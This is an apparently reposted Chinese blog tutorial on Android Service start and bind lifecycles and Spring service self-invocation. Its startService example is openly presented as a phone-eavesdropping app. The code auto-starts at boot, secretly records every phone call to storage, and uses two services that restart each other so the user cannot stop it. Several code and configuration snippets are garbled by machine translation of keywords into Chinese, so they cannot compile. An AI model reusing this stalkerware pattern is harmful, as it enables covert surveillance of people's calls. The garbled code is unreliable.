一个service调用另一个service,service之间互相调用

  一个service调用另一个service,service之间互相调用

  

目录

同一个服务调用服务本身解决方案服务的两种调用方法一、启动服务开启服务二、绑定服务绑定服务三、两种方法的区别

 

  

同一个service调用service本身

如果同一个服务调用服务本身的方法,出现了事务不能控制。

 

  

解决方案

1.在春天配置文件中配置

 

  !-公开代理服务调用面向切面编程(面向方面的编程的缩写)实现自身调用自身方法-AOP : AspectJ-auto proxy proxy-target-class= true expose-proxy= true /2 .在服务中用AopContext.currentProxy()方法调用

  例如调用我的服务的我的储蓄方法:

  ((我的服务)AOP上下文。当前代理()).我的拯救(我的POJO);

  

service的两种调用方法

 

  

一、startService开启服务

生命周期如下:

 

  onCreate() onStartCommand() — onDestory();

  如果服务已经开启,不会重复的执行onCreate(),而是会调用onStartCommand()。服务停止的时候调用onDestory()。服务只会被停止一次。

  下面是一个电话窃听器的实例:

  在显示文件中配置必要的权限和组件。设置一个监听开机的广播接收者。

  uses-permission Android : name= Android。许可。read _ PHONE _ STATE /uses-permission Android : name= Android。许可。write _ EXTERNAL _ STORAGE /uses-permission Android : name= Android。许可。record _ AUDIO /uses-permission Android : name= Android。许可。receive _ BOOT _ COMPLETED /service Android : name= com。我是IMA。电话监听器。系统服务/服务服务服务Android 333:

  监听开机事件。

  公共类启动接收器扩展广播接收器{ @ Override public void on receive(Context Context,Intent Intent){ Intent I=new Intent(Context,system service。类);语境。开始服务(一);}}SystemService.java

  两个服务类中的一个。两个类采用循环调用机制,当其中一个服务被破坏时,系统调用另一个服务。这样起到了防止用户关闭的流氓效果。

  公共类系统服务扩展服务{ //电话管理器私人电话经理TM;//监听器对象私有我的听众侦听器;//声明录音机公共关系

  ivate MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent intent) { return null; } // 服务创建的时候调用的方法 @Override public void onCreate() { // 后台监听电话的呼叫状态。 // 得到电话管理器 tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 当电话的呼叫状态发生变化的时候调用的方法 @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_IDLE://空闲状态。 if(mediaRecorder!=null){ //8.停止捕获 mediaRecorder.stop(); //9.释放资源 mediaRecorder.release(); mediaRecorder = null; System.out.println("录制完毕,上传文件到服务器。"); } break; case TelephonyManager.CALL_STATE_RINGING://零响状态。 break; case TelephonyManager.CALL_STATE_OFFHOOK://通话状态 //开始录音 //1.实例化一个录音机 mediaRecorder = new MediaRecorder(); //2.指定录音机的声音源 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //3.设置录制的文件输出的格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); //4.指定录音文件的名称 File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp"); mediaRecorder.setOutputFile(file.getAbsolutePath()); //5.设置音频的编码 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); //6.准备开始录音 mediaRecorder.prepare(); //7.开始录音 mediaRecorder.start(); break; } } catch (Exception e) { e.printStackTrace(); } } } // 服务销毁的时候调用的方法 @Override public void onDestroy() { super.onDestroy(); // 取消电话的监听 System.out.println("ondestory"); Intent i = new Intent(this,SystemService2.class); startService(i); tm.listen(listener, PhoneStateListener.LISTEN_NONE); listener = null; }}MainActivity.java

  控制Service的开启和关闭。

  

public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void start(View view){ //开启服务。 Intent intent = new Intent(this,SystemService.class); startService(intent); } public void stop(View view){ //停止服务。 Intent intent = new Intent(this,SystemService.class); stopService(intent); }}

 

  

二、bindService绑定服务

用绑定方式开启的Service,其生命周期为:onCreate() —>onBind();—>onunbind()–>onDestory(); 没有onStartCommand。

 

  步骤:

  1. 服务要暴露方法,必须在Service中定义一个内部类——中间人MiddlePerson,实现定义好的接口中的方法(callMethodInService,用于调用Service中的某方法)。

  2. 实现服务成功绑定的代码(onBind方法),返回一个中间人new MiddlePerson()。

  3. 在Activity中的bind()方法中采用bindService方法开启服务。

  

Intent intent = new Intent(this, MyService.class);conn = new MyConn();bindService(intent, conn, BIND_AUTO_CREATE);

4. 当服务被连接或失去连接时,分别实现ServiceConnection接口中的onServiceConnected()和onServiceDisconnected()方法。

 

  5. 最后就可以通过中间人调用服务里面的方法了。

  

mp.callMethodInService(55);

MainActivity.java

 

  

public class MyService extends Service { //2.实现服务成功绑定的代码 ,返回一个中间人。 @Override public IBinder onBind(Intent arg0) { System.out.println("服务被成功绑定了。。。。"); return new MiddlePerson(); } @Override public boolean onUnbind(Intent intent) { System.out.println("onunbind"); return super.onUnbind(intent); } @Override public void onCreate() { System.out.println("oncreate"); super.onCreate(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { System.out.println("onstartcommand"); return super.onStartCommand(intent, flags, startId); } @Override public void onDestroy() { System.out.println("ondestory"); super.onDestroy(); } /** * 这是服务里面的一个方法 */ public void methodInService(){ Toast.makeText(this, "哈哈,服务给你办好了暂住证。", 0).show(); } //1.第一步服务要暴露方法 必须要有一个中间人 private class MiddlePerson extends Binder implements IMiddlePerson{ /** * 代办暂住证 * @param money 给钱 50块钱以上才给办。 */ public void callMethodInService(int money){ if(money>=50){ methodInService(); }else{ Toast.makeText(getApplicationContext(), "多准备点钱。", 0).show(); } } /** * 陪领导打麻将 */ public void playMajiang(){ System.out.println("陪领导打麻将。"); } }}

 

  

三、两种方法的区别

start方式开启服务,一旦服务开启,就和调用者(Activity)没有任何关系了。开启者退出后,如果开启者挂掉,服务还在后台长期的运行。而且开启者没有办法去调用服务里面的方法。bind方式开启服务,一旦调用者挂掉,服务也会跟着挂掉。不求同时生,但求同时死。而且开启者可以调用服务里面的方法。以上为个人经验,希望能给大家一个参考,也希望大家多多支持盛行IT。

 

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

留言与评论(共有 条评论)
   
验证码: